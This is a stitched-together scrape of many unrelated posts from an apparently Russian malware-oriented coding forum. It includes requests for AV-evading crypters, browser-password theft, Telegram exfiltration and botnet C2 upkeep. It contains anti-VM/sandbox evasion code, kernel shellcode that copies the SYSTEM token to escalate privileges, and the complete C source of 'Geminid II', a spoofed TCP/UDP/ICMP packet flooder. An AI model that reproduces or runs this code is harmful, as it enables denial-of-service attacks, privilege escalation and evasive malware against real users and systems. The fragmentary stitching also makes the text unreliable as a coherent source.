Всем доброго времени суток, у меня за почти год изучения Java (и параллельно Kotlin) назрел вопрос. Я прочитал Effective Java, много чего разузнал. Естественно практиковался, начинал с простого, расписывал различные сложные функции и алгоритмы, написал класс для игры в крестики нолики, написал консольное приложение архивации текстовых данных, и наконец сделал копию игры Тетрис на JavaFX. В общем, мой вопрос заключается в том, что я проделав этот путь я не имею понятия: что изучать дальше и какие знания мне необходимы для моей первой стажировки. Поэтому я прошу помощи у вас в этом нелёгком вопросе?
Hidden content for authorized users.
Вообщем , решил я попробовать написать криптор dotNet файлов . Это будет мой
первый заход так сказать так что надеюсь на всеобщую помощь (просто чтоб
понять как это всё устроено)
Как это вижу я
Зашифрованные байты файла хранятся в переменной стринг и уже в процессе работы
расшифровать и запустить . Думаю это поможет только с детектом на всяких
онлайн сканерах так как после расшифровки антивирус сразу даст леща и не
позволит запустить .
Напишите примерную логику как этого избежать (детекта после расшифровки) или
может я изначально неправильно себе это представляю ?
ps: пишу на шарпе , да да нужно писать на нативных языках и всё такое , я знаю
, я не умею
C Sharp = love
Are there any good resources that explain Java and .NET deserialization?
Я заметил что чем больше файл, тем дольше происходит запись в конец файла.
C++:Copy to clipboard
SetFilePointerEx(hFile, liMove, 0, FILE_END);
WriteFile(hFile, "chlen", 5, &dwO, 0);
С чем это связанно и как это можно решить? Подскажите
Создаём класс NativeMethods.cs
Записываем в него следующий код:
C#:Copy to clipboard
namespace AntiVM
{
using System;
using System.Runtime.InteropServices;
internal static class NativeMethods
{
[DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Unicode)]
internal static extern IntPtr GetModuleHandle(string lpModuleName);
}
}
Теперь создаём класс CheckVirtual.cs который делает всю магию космоса
C#:Copy to clipboard
namespace AntiVM
{
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Management;
using System.Windows.Forms;
public static class CheckVirtual
{
/* Created r3xq1 */
/// <summary>
/// <b>Метод для проверки на запуск в среде RDP</b> (Remote Desktop Protocol)
/// </summary>
public static bool IsRdpAvailable => SystemInformation.TerminalServerSession == true;
/// <summary>
/// <b>Метод для проверки запуска в песочнице.</b>
/// <para>Если исполняемый файл будет запущен внутри Песочницы то возвращяем <b>true</b> иначе <b>false</b></para>
/// </summary>
/// <returns><b>true</b> или <b>false</b></returns>
public static bool SandBoxies => Process.GetProcessesByName("SbieCtrl").Length > 0 && NativeMethods.GetModuleHandle("SbieDll.dll") != IntPtr.Zero;
/// <summary>
/// <b>Метод для проверки Vmware. Inc на машине пользователя.</b>
/// <para>Проходится по списку <b>VirtualNames</b> и если находит совпадения то возвращает <b>true</b> иначе <b>false</b></para>
/// </summary>
/// <returns><b>true</b> или <b>false</b></returns>
public static bool CheckWMI()
{
var VirtualNames = new List<string>
{
"virtual", "vmbox", "vmware", "virtualbox", "box",
"thinapp", "VMXh", "innotek gmbh", "tpvcgateway",
"tpautoconnsvc", "vbox", "kvm", "red hat"
};
List<string> list = GetModelsAndManufactures();
foreach (string spisok in list)
{
return VirtualNames.Contains(spisok); // true
}
return false;
}
/// <summary>
/// <b>Метод для получения информации о Производителе и Модели машины на системе пользователя.</b>
/// </summary>
/// <returns>Возвращает Модель и Производителя компьютера.</returns>
private static List<string> GetModelsAndManufactures()
{
var ModMan = new List<string>();
try
{
using var searcher = new ManagementObjectSearcher(@"root\CIMV2", "SELECT * FROM Win32_ComputerSystem");
using var items = searcher.Get().OfType<ManagementObject>().Where(p => p != null).FirstOrDefault();
ModMan.Add(items["Manufacturer"]?.ToString().ToLower());
ModMan.Add(items["Model"]?.ToString().ToLower());
}
catch { }
return ModMan;
}
/// <summary>
/// <b>Инициализатор проверки всех методов на наличие запуска в среде VMware</b> (Virtual Machine)
/// </summary>
/// <returns></returns>
public static bool Inizialize() => SandBoxies || IsRdpAvailable || CheckWMI();
}
}
Реализация проверки
C#:Copy to clipboard
namespace AntiVM
{
using System;
internal static class Program
{
[STAThread]
public static void Main()
{
Console.Title = "Anti Virtual Machine - (VM)";
if (CheckVirtual.Inizialize())
{
Console.WriteLine("Обнаружена виртуальная машина");
}
else
{
Console.WriteLine("Вы работаете на рабочей машине.");
}
Console.Read();
}
}
}
Проверялось на нескольких виртуалках, всё отработало как надо, тестируйте, изменяйте под свои нужны.
Очень долго копался в этой теме, но годного ничего не нашел. Я правда, реализовал при помощи nss3.dll, но если пк 64, а если компилировал по 32 и наоборот, то не сработает. Есть ли варианты дешифровки? Буду очень благодарен не только я, но думаю, и многие
C++:Copy to clipboard
const char *BrowserPass::uncryptData(BYTE *password, int size)
{
DATA_BLOB op;
DATA_BLOB ex;
op.pbData = password;
op.cbData = (size + 1);
if (CryptUnprotectData(&op, NULL, NULL, NULL, NULL, 0, &ex))
{
ex.pbData[ex.cbData] = '\0';
return ((const char*)ex.pbData);
}
else
{
dw = GetLastError();
_tprintf(TEXT("CryptUnprotectData error code: %lu\n"), dw);
}
}
CryptUnprotectData error code: 87
коротко о том с чем не справляется так это с паролями в которых присутствуют
"точки". help?
Здравствуйте. На данный момент занимаюсь написанием PE загрузчика, и в
процессе возник вопрос. Есть исходник подобного на github -
тык.
На 259 строке тут производится попытка зарезервировать память под образ,
стартуя с адреса текущего образа ( 1 параметр Virtual Alloc). Далее, в том
случае, если зарезервировать память не удалось - действие повторяется, но уже
первым параметром передаётся NULL, что означает, что система сама выберет то
место в памяти, с которого начнётся резервирование памяти. Зачем это делается?
Почему изначально производится попытка резервировать память, начиная с адреса
текущего образа? В каких случаях будет произведено резервирование памяти по
произвольному адресу?
Hidden content for authorized users.
Можно ли создать зип архив без сторонних библиотек в net 4.0 ?
Гуглил но не нашёл
До этого момента имел малый опыт работы с сетью, в основном работал с ней на
шарпе, где и дефолтные методы позволяли работать с HTTPS и SMTPS. Однако,
сейчас потребовалось произвести скромные действия с получением данных по HTTPS
протоколу и немного поработать с почтой. Если HTTPS можно просто
проигнорировать и работать по старому доброму HTTP, то современные почтовые
сервисы отказываются воркать без шифрования. Собственно по этому поводу полез
в гугл и гитхаб, но все что нарыл - OpenSSL. Поэтому и задаю сей вопрос, есть
ли какие альтернативы ему? Ибо компилировать эту либу со всем гемором и
использовать ее для произведения столь примитивных действий как-то не хочется.
Мб есть что полегче на подъем или вовсе пример какого-нибудь велосипеда,
реализующего зашифрованное соединение?
В дополнение еще интересно, почему везде встречается ssl, если, по крайней
мере как я вычитал, его уже давно не используют, а его место занял
достопочтенный TLS 1.2?
Здравствуйте. кто может помочь ? переписать код asm на С++.
Code:Copy to clipboard
;priv.asm
;grant SYSTEM account privileges to calling process
[BITS 64]
start:
; db 0cch ;uncomment to debug
mov rdx, [gs:188h] ;get _ETHREAD pointer from KPCR
mov r8, [rdx+70h] ;_EPROCESS (see PsGetCurrentProcess function)
mov r9, [r8+188h] ;ActiveProcessLinks list head
mov rcx, [r9] ;follow link to first process in list
find_system_proc:
mov rdx, [rcx-8] ;offset from ActiveProcessLinks to UniqueProcessId
cmp rdx, 4 ;process with ID 4 is System process
jz found_it
mov rcx, [rcx] ;follow _LIST_ENTRY Flink pointer
cmp rcx, r9 ;see if back at list head
jnz find_system_proc
db 0cch ;(int 3) process #4 not found, should never happen
found_it:
mov rax, [rcx+80h] ;offset from ActiveProcessLinks to Token
and al, 0f0h ;clear low 4 bits of _EX_FAST_REF structure
mov [r8+208h], rax ;replace current process token with system token
ret
Доброго времени суток.Задумался прочему ещё не реализовано на амазоне что то
подобное как на гугал плей.?
Источников трафика хватает на данный апк,доверие будет достаточно.
Есть кто заливал туда прилу?
Может уже есть готовое решение у кого?
Hidden content for authorized users.
Хэй, кто-нибудь может предоставить пример или подробно рассказать о том, как можно скрыть WinApi вызовы? (Кроме вызова по хешу и прыжков в тело функции после ее пролога)
Code:Copy to clipboard
/*
* Geminid II. TCP/UDP/ICMP Packet flooder
*
*
* Usage: geminid [-T -U -I -N -s -h -d -p -q -l -t]
*
* -T TCP attack [0:ACK, 1:FIN, 2:RST, 3:SYN] (no default )
* -U UDP attack (no options )
* -I ICMP attack (no options )
* -N Bogus No flag attack (no options )
* -s source class/ip (defaults to random )
* -h destination host/ip (no default )
* -d destination class (no default )
* -p destination port range [start,end] (defaults to random )
* -q source port range [start,end] (defaults to random )
* -l % of box link to use (defaults to 100% )
* -t timeout (defaults to forever)
*
*
* Compiling
*
* Default:
* % gcc geminid.c -o geminid
*
* With password file option:
* % gcc -DF_PASS geminid.c -o geminid
*
* by LIVE
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#ifdef F_PASS
#include <sys/stat.h>
#endif
#include <netinet/in_systm.h>
#include <sys/socket.h>
#include <string.h>
#include <time.h>
#ifndef __USE_BSD
# define __USE_BSD
#endif
#ifndef __FAVOR_BSD
# define __FAVOR_BSD
#endif
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#ifdef LINUX
# define FIX(x) htons(x)
#else
# define FIX(x) (x)
#endif
/* Geminid attack flags */
#define TCP_ACK 1
#define TCP_FIN 2
#define TCP_SYN 4
#define TCP_RST 8
#define UDP_CFF 16
#define ICMP_ECHO_G 32
#define TCP_NOF 64 /* -N */
/* No flag attack */
#define TH_NOF 0x0
#define TCP_ATTACK() (a_flags & TCP_ACK ||\
a_flags & TCP_FIN ||\
a_flags & TCP_SYN ||\
a_flags & TCP_RST ||\
a_flags & TCP_NOF)
#define UDP_ATTACK() (a_flags & UDP_CFF)
#define ICMP_ATTACK() (a_flags & ICMP_ECHO_G)
#define CHOOSE_DST_PORT() dst_sp == 0 ?\
random () :\
htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
#define CHOOSE_SRC_PORT() src_sp == 0 ?\
random () :\
htons(src_sp + (random() % (src_ep -src_sp +1)));
#define SEND_PACKET() if (sendto(rawsock,\
&packet,\
(sizeof packet),\
0,\
(struct sockaddr *)&target,\
sizeof target) < 0) {\
perror("sendto");\
exit(-1);\
}
/* Linux / SunOS x86 / FreeBSD */
//#define BANNER_CKSUM 54018
/* SunOS Sparc */
#define BANNER_CKSUM 723
u_long lookup(const char *host);
unsigned short in_cksum(unsigned short *addr, int len);
static void inject_iphdr(struct ip *ip, u_char p, u_char len);
char *class2ip(const char *class);
static void send_tcp(u_char th_flags);
static void send_udp(u_char garbage);
static void send_icmp(u_char garbage);
char *get_plain(const char *crypt_file, const char *xor_data_key);
static void usage(const char *argv0);
u_long dstaddr;
u_short dst_sp, dst_ep, src_sp, src_ep;
char *src_class, *dst_class;
int a_flags, rawsock;
struct sockaddr_in target;
/* Self promotion :) */
const char *banner = "Geminid II. by live [TCP/UDP/ICMP Packet flooder]";
struct pseudo_hdr { /* See RFC 793 Pseudo Header */
u_long saddr, daddr; /* source and dest address */
u_char mbz, ptcl; /* zero and protocol */
u_short tcpl; /* tcp length */
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct {
int gv; /* Geminid value */
int kv; /* Kernel value */
void (*f)(u_char);
} a_list[] = {
/* TCP */
{ TCP_ACK, TH_ACK, send_tcp },
{ TCP_FIN, TH_FIN, send_tcp },
{ TCP_SYN, TH_SYN, send_tcp },
{ TCP_RST, TH_RST, send_tcp },
{ TCP_NOF, TH_NOF, send_tcp }, /* No flag attack */
/* UDP */
{ UDP_CFF, 0, send_udp },
/* ICMP */
{ ICMP_ECHO_G, ICMP_ECHO, send_icmp },
{ 0, 0, (void *)NULL },
};
int
main(int argc, char *argv[])
{
int n, i, on = 1;
int b_link;
#ifdef F_PASS
struct stat sb;
#endif
unsigned int until;
a_flags = dstaddr = i = 0;
dst_sp = dst_ep = src_sp = src_ep = 0;
until = b_link = -1;
src_class = dst_class = NULL;
while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) {
char *p;
switch (n) {
case 'T': /* TCP attack
*
* 0: ACK
* 1: FIN
* 2: RST
* 3: SYN
*/
switch (atoi(optarg)) {
case 0: a_flags |= TCP_ACK; break;
case 1: a_flags |= TCP_FIN; break;
case 2: a_flags |= TCP_RST; break;
case 3: a_flags |= TCP_SYN; break;
}
break;
case 'U': /* UDP attack
*/
a_flags |= UDP_CFF;
break;
case 'I': /* ICMP attack
*/
a_flags |= ICMP_ECHO_G;
break;
case 'N': /* Bogus No flag attack (TCP)
*/
a_flags |= TCP_NOF;
break;
case 's':
src_class = optarg;
break;
case 'h':
dstaddr = lookup(optarg);
break;
case 'd':
dst_class = optarg;
i = 1; /* neat flag to check command line later */
break;
case 'p':
if ( (p = (char *) strchr(optarg, ',')) == NULL)
usage(argv[0]);
dst_sp = atoi(optarg); /* Destination start port */
dst_ep = atoi(p +1); /* Destination end port */
break;
case 'q':
if ( (p = (char *) strchr(optarg, ',')) == NULL)
usage(argv[0]);
src_sp = atoi(optarg); /* Source start port */
src_ep = atoi(p +1); /* Source end port */
break;
case 'l':
b_link = atoi(optarg);
if (b_link <= 0 || b_link > 100)
usage(argv[0]);
break;
case 't':
until = time(0) +atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
/* Checking command line */
if ( (!dstaddr && !i) ||
(dstaddr && i) ||
(!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
(src_sp != 0 && src_sp > src_ep) ||
(dst_sp != 0 && dst_sp > dst_ep))
usage(argv[0]);
srandom(time(NULL) ^ getpid());
/* Opening RAW socket */
if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(-1);
}
if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
(char *)&on, sizeof(on)) < 0) {
perror("setsockopt");
exit(-1);
}
/* Filling target structure */
target.sin_family = AF_INET;
/* Packeting! */
for (n = 0;; ) {
/* Poor link control handling */
if (b_link != -1 && random() % 100 +1 > b_link) {
if (random() % 200 +1 > 199)
usleep(1);
continue;
}
/* Sending requested packets */
for (i = 0; a_list[i].f != NULL; ++i) {
if (a_list[i].gv & a_flags)
a_list[i].f(a_list[i].kv);
}
/* Attack is finished? Do not check it every time, would eat
* too much CPU */
if (n++ == 100) {
if (until != -1 && time(0) >= until) break;
n = 0;
}
}
exit(0);
}
u_long
lookup(const char *host)
{
struct hostent *hp;
if ( (hp = gethostbyname(host)) == NULL) {
perror("gethostbyname");
exit(-1);
}
return *(u_long *)hp->h_addr;
}
#define RANDOM() (int) random() % 255 +1
char *
class2ip(const char *class)
{
static char ip[16];
int i, j;
for (i = 0, j = 0; class[i] != '\0'; ++i)
if (class[i] == '.')
++j;
switch (j) {
case 0:
sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
break;
case 1:
sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
break;
case 2:
sprintf(ip, "%s.%d", class, RANDOM());
break;
/* Spoofing single host */
default: strncpy(ip, class, 16);
break;
}
return ip;
}
unsigned short
in_cksum(unsigned short *addr, int len)
{
int nleft = len;
int sum = 0;
unsigned short *w = addr;
unsigned short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/*
* Mop up an odd byte, if necessary
*/
if (nleft == 1) {
*(unsigned char *) (&answer) = *(unsigned char *)w;
sum += answer;
}
/*
* Add back carry outs from top 16 bits to low 16 bits
*/
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return answer;
}
/*
* Creating generic ip header, not yet ready to be used.
*/
static void
inject_iphdr(struct ip *ip, u_char p, u_char len)
{
/* Filling IP header */
ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_p = p;
ip->ip_tos = 0x08; /* 0x08 */
ip->ip_id = random();
ip->ip_len = len;
ip->ip_off = 0;
ip->ip_ttl = 255;
ip->ip_dst.s_addr = dst_class != NULL ?
inet_addr(class2ip(dst_class)) :
dstaddr;
ip->ip_src.s_addr = src_class != NULL ?
inet_addr(class2ip(src_class)) :
random();
/* I know, this is not part of the game, but anyway.. */
target.sin_addr.s_addr = ip->ip_dst.s_addr;
}
static void
send_tcp(u_char th_flags)
{
struct cksum cksum;
struct packet {
struct ip ip;
struct tcphdr tcp;
} packet;
/* Filling IP header */
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
/* Filling cksum pseudo header */
cksum.pseudo.daddr = dstaddr;
cksum.pseudo.mbz = 0;
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
cksum.pseudo.saddr = packet.ip.ip_src.s_addr;
/* Filling TCP header */
packet.tcp.th_flags = 0;
packet.tcp.th_win = htons(65535);
packet.tcp.th_seq = random();
packet.tcp.th_ack = 0;
packet.tcp.th_flags = th_flags;
packet.tcp.th_off = 5;
packet.tcp.th_urp = 0;
packet.tcp.th_sport = CHOOSE_SRC_PORT();
packet.tcp.th_dport = CHOOSE_DST_PORT();
cksum.tcp = packet.tcp;
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));
SEND_PACKET();
}
static void
send_udp(u_char garbage) /* No use for garbage here, just to remain */
{ /* coherent with a_list[] */
struct packet {
struct ip ip;
struct udphdr udp;
} packet;
/* Filling IP header */
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
/* Filling UDP header */
packet.udp.uh_sport = CHOOSE_SRC_PORT();
packet.udp.uh_dport = CHOOSE_DST_PORT();
packet.udp.uh_ulen = htons(sizeof packet.udp);
packet.udp.uh_sum = 0; /* No checksum */
SEND_PACKET();
}
static void
send_icmp(u_char gargabe) /* Garbage discarded again.. */
{
struct packet {
struct ip ip;
struct icmp icmp;
} packet;
/* Filling IP header */
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
/* Filling ICMP header */
packet.icmp.icmp_type = ICMP_ECHO;
packet.icmp.icmp_code = 0;
packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));
SEND_PACKET();
}
static void
usage(const char *argv0)
{
printf("%s \n", banner);
printf("Usage: %s [-T -U -I -N -s -h -d -p -q -l -t]\n\n", argv0);
printf("REGISTERED TO: seilaqm..\n\n");
printf(" -T TCP attack [0:ACK, 1:FIN, 2:RST, 3:SYN] (no default )\n");
printf(" -U UDP attack (no options )\n");
printf(" -I ICMP attack (no options )\n");
printf(" -N Bogus No flag attack (no options )\n");
printf(" -s source class/ip (defaults to random )\n");
printf(" -h destination host/ip (no default )\n");
printf(" -d destination class (no default )\n");
printf(" -p destination port range [start,end] (defaults to random )\n");
printf(" -q source port range [start,end] (defaults to random )\n");
printf(" -l %% of box link to use (defaults to 100%% )\n");
printf(" -t timeout (defaults to forever)\n");
exit(-1);
}
Всем привет. Есть определенная статическая библиотека ( .lib ), в ней находится шаблонная функция. При подключении библиотеки к проекту - функцию попросту не цепляет. С функциями без использования шаблонов всё хорошо. При работе с шаблонами в контексте статической библиотеки есть какие-то тонкости? Помогите пожалуйста, спасибо.
Может кто скинуть ссылок (или объяснить) где можно почитать на счет того как делать парсеры на шарпе
Приветствую заглянувших на огонек))
народ кто умеет уники делать с2 конфиги для кобы?
](https://www.cobaltstrike.com/help-malleable-postex)
Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates...
www.cobaltstrike.com
готов рассмотреть варианты сотрудничества
Кто может помочь отснифать и подделать запросы инстаграм, то я перегрелся то ли фундаментально не понимаю как у них все работает, готов платить монетой за реал помощь
Готовые либы не вариант так как в них отсутствует функция прохождения капчи через рекапчу + мне нужен будет парс страницы по другим критериям
Если я в чем то не прав поправьте
Нужно настроить отправку файла,когда клиент запускает приложение c#,но есть
нюансы.
Файл хочу получить в тг или на панель.Но при попытке отправить файлик в тг
через прокси появляется чертов брандмауэр,который блокирует использование
прокси и спрашивает разрешение.Можно ли это обойти?Конечно,если клиент
разрешит,то все
придет,но данный способ меня не устраивает.
Есть идея отправить на хост файл,который либо отправит уже его в тг,либо
просто скачать,но надо будет создавать панель и тп. Подскажите,стоит ли
пытаться организовать отправку логов через тг, или же надо переходить на
панель.
Приветствую,
Существует такая проблема, при смене на домене IP - сразу все боты пропадают в
оффлайн и очень медленно восстанавливаются, видно пингуют на старый ip домена.
Сейчас я при каждом отстуке с сервера если нет от скрипт ответ ОК, то делаю:
Spoiler: КОД
upppq.erase(0, 1);
if (upppq != "Ok") {
system("ipconfig /flushdns");
}
Но все равно боты восстанавливаются до конца в течении суток.... Что посоветуете делать? Спасибо!
Всем привет, на форуме 1й день, я начинающий (мамкин)кодер хочу в первую очередь приобрести практический опыт, готов написать не сложные софты (бруты/чекеры хз что актуально), hvnc с панелями и тд не дорос, максимум аналог гитхаба. Жду предложений за отзыв/сотку на сиги ну и конечно же практику и критику
Продолжаю копать темы шелл кодов, сжатия файлов и их динамического запуска. На
сей раз кинул взгляд на функцию RtlDecompressBuffer и RtlCompressBuffer
соответственно. Если со второй функцией все в порядке, то первая работать
отказывается, выкидывая: "The value of ESP was not properly saved across a
function call. This is usually a result of calling a function declared with
one calling convention with a function pointer declared with a different
calling convention." Каким боком нарушается соглашение о вызове не понимаю.
Сам код:
C++:Copy to clipboard
#include <Windows.h>
int DecompressData(PUCHAR Data, ULONG ulDataSize, PUCHAR lpEncryptData, ULONG ulEncSize)
{
typedef NTSTATUS(__stdcall * fpRtlDecompressBuffer)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG, PULONG);
HMODULE ntdll = LoadLibraryA("ntdll.dll");
if (ntdll)
{
fpRtlDecompressBuffer RtlDecompressBuffer = reinterpret_cast<fpRtlDecompressBuffer>(GetProcAddress(ntdll, "RtlCompressBuffer"));
DWORD dwDecompSize;
RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1, lpEncryptData, ulEncSize, Data, ulDataSize, &dwDecompSize); // при вызове выкидывает ошибку
}
else return -1;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
unsigned char data[5203] = {
/* байты упакованного функцией RtlCompressBuffer файла*/
};
DWORD dwSize = 0x2200; //Размер распакованного файла
LPVOID lpEncData = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); // Память для распакованного файла
DecompressData(data, sizeof(data), (PUCHAR)lpEncData, dwSize); // Отправляем на распаковку
//Здесь запуск кода
return 0;
}
ищу c# кодера, хорошо владеющего фреймворками типо метро, для визуальной состоявляющей приложения.
решил попробовать написать что-нибудь без использования crt, stl, которые вес
добавляют.
компилятор по стандарту: студия 10 года
конфигурацию проекта взял из соседней темы
(клик)
заметил некоторые аномалии:
иногда, когда строку в массив байт переводишь (memcpy) последний символ
меняется
иногда поиск файлов барохлит, когда потоки на диск направляешь
и еще кучу по типу неизвестных функций, которые даже не использованы в проекте
что это такое, может из более просвещенных знает?
Решил перейти на 19-ую студию, столкнулся со следующей проблемой: при попытке обьявления строки ловлю ошибки типо
C:Copy to clipboard
LPWSTR lpTest = L"Test";
Летит ошибка:
значение типа "const wchar_t *" нельзя использовать для инициализации сущности типа "LPWSTR"
Click to expand...
Помогите пожалуйста с решением данной проблемы
Создаём классScreenShot.cs
C#:Copy to clipboard
namespace Test
{
using System;
using System.Drawing;
using System.Windows.Forms;
public class ScreenShot
{
public static void Inizialize_Screen(string path)
{
try
{
using (var bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height))
{
using (var g = Graphics.FromImage(bmp))
{
try
{
g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size);
bmp.Save(path);
}
catch { /* так же можно и тут словить исключение. */ }
}
}
}
catch (Exception) { /* тут ловите исключение. */ }
}
}
}
Ну и просто вызов с сохранением в нужный путь:
C#:Copy to clipboard
ScreenShot.Inizialize_Screen("New_Screen.jpg");
Привет всем! Возникла проблема с использованием этой апи. После инициализации, вызова с CreatWindow, как получить доступ к внутренности страницы? Вызываю чтобы отобразить url, нужно прочитать пару значение из сорца html страницы. Спасибо за помощь
Данный класс не позволит пользователю писать в окно консоли какой-либо текст или цифры.
Создаём класс Locker.cs
C#:Copy to clipboard
using System;
/* Author r3xq1 */
public class Locker
{
public static string ConsoleInput(bool status = true)
{
while (true)
{
ConsoleKeyInfo a = Console.ReadKey(status);
string str = string.Empty;
if (int.TryParse(a.KeyChar.ToString(), out int i) != char.IsDigit(a.KeyChar))
{
Console.Write(a.KeyChar);
str += a.KeyChar;
}
if (a.Key == ConsoleKey.Backspace)
{
int currentCursorPos = Console.CursorLeft;
Console.SetCursorPosition(currentCursorPos, Console.CursorTop);
if (str.Length > 0)
{
str = str.Substring(0, str.Length - 1);
}
Console.SetCursorPosition(currentCursorPos + str.Length, Console.CursorTop);
}
}
}
}
И просто вызываете в удобном для Вас месте:
C#:Copy to clipboard
Locker.ConsoleInput();
Предложу всего 5 вариантов проверки и все работают корректно ( проверил )
Используйте любой =)
Создаём класс CheckNative.cs
C#:Copy to clipboard
namespace CheckPE_CLR
{
using System;
using System.IO;
using System.Reflection;
internal class CheckNative
{
// 1-й
public static bool IsDotNetAssembly(string peFile)
{
uint peHeader, peHeaderSignature, timestamp, pSymbolTable, noOfSymbol;
ushort machine, sections, optionalHeaderSize, characteristics, dataDictionaryStart;
uint[] dataDictionaryRVA = new uint[16];
uint[] dataDictionarySize = new uint[16];
try
{
using (Stream fs = new FileStream(peFile, FileMode.Open, FileAccess.Read))
{
using (var reader = new BinaryReader(fs))
{
fs.Position = 60;
peHeader = reader.ReadUInt32();
fs.Position = peHeader;
peHeaderSignature = reader.ReadUInt32();
machine = reader.ReadUInt16();
sections = reader.ReadUInt16();
timestamp = reader.ReadUInt32();
pSymbolTable = reader.ReadUInt32();
noOfSymbol = reader.ReadUInt32();
optionalHeaderSize = reader.ReadUInt16();
characteristics = reader.ReadUInt16();
dataDictionaryStart = Convert.ToUInt16(Convert.ToUInt16(fs.Position) + 96);
fs.Position = dataDictionaryStart;
for (int i = 0; i < 15; i++)
{
dataDictionaryRVA[i] = reader.ReadUInt32();
dataDictionarySize[i] = reader.ReadUInt32();
}
return dataDictionaryRVA[14] == 0 ? false : true;
}
}
}
catch (Exception ex) { File.WriteAllText("Error.txt", ex.Message); return false; }
}
// 2-й
public static bool IsAssembly(string file)
{
try
{
Assembly.LoadFile(file);
return true;
}
catch
{
return false;
}
}
// 3-й
public static bool IsReflection(string filename)
{
try
{
AssemblyName.GetAssemblyName(filename);
return true;
}
catch { return false; }
}
// 4-й
public static bool IsManagedAssembly(string fileName)
{
try
{
using (Stream fileStream = new FileStream(fileName, FileMode.Open, FileAccess.Read))
using (var binaryReader = new BinaryReader(fileStream))
{
if (fileStream.Length < 64) return false;
// Заголовок PE начинается @ 0x3C (60). Его заголовка 4 байта.
fileStream.Position = 0x3C;
uint peHeaderPointer = binaryReader.ReadUInt32();
if (peHeaderPointer == 0)
{
peHeaderPointer = 0x80;
}
// Обеспечить, по крайней мере, достаточно места для следующих структур:
// 24 byte PE Signature & Header
// 28 byte Standard Fields (24 bytes for PE32+)
// 68 byte NT Fields (88 bytes for PE32+)
// >= 128 byte Data Dictionary Table
if (peHeaderPointer > fileStream.Length - 256)
{
return false;
}
// Проверить PE сигнатуры. Должны быть равныl 'PE\0\0'.
fileStream.Position = peHeaderPointer;
uint peHeaderSignature = binaryReader.ReadUInt32();
if (peHeaderSignature != 0x00004550)
{
return false;
}
// Пропустить PEHeader поля
fileStream.Position += 20;
const ushort PE32 = 0x10b, PE32PLUS = 0x20b;
/* Пропущенный фрагмент должен был зависеть от словаря данных начинаться по-разному в зависимости от того, являемся ли мы PE32 или PE32Plus: */
// Читаем PE магическое число из стандартных полей для определения формата.
ushort peFormat = binaryReader.ReadUInt16();
if (peFormat != PE32 && peFormat != PE32PLUS) return false;
// Читаем 15-й полевой словарь данных RVA, который содержит командной строкой заголовка RVA.
// При этом не равно нулю, то файл содержит сведения CLI иначе нет.
ushort dataDictionaryStart = (ushort)(peHeaderPointer + (peFormat == PE32 ? 232 : 248));
fileStream.Position = dataDictionaryStart;
return binaryReader.ReadUInt32() == 0 ? false : true;
}
}
catch (Exception ex) { File.WriteAllText("Error.txt", ex.Message); return false; };
}
// 5-й
public static bool IsGetPEKind(string file)
{
try
{
var assembly = Assembly.ReflectionOnlyLoadFrom(file);
assembly.ManifestModule.GetPEKind(out PortableExecutableKinds kinds, out ImageFileMachine imgFileMachine);
return true;
}
catch (Exception) { return false; }
}
}
}
И для проверки используем так:
C#:Copy to clipboard
namespace CheckPE_CLR
{
using System;
internal partial class Program
{
private static void Main(string[] args)
{
Console.Title = "Check File Native or Net";
try
{
if (CheckNative.IsGetPEKind(args[0]))
{
Console.WriteLine("Файл DotNet - (Не натив)");
}
else
{
Console.WriteLine("Файл PE Native - (Натив)");
}
}
catch (Exception) { Console.Write("Перетащите любой .exe файл на ярлык программы. "); }
Console.ReadKey();
}
}
}
Остальные методы не актуальны! ^_^ "
Для чего нужно?
Это решение конечно же остаётся за Вами) нужно оно вам или нет))
В частности это требуется тем кто пишет обфускатор для проверки тех или иных
файлов.
Простое решение для обновления проводника windows
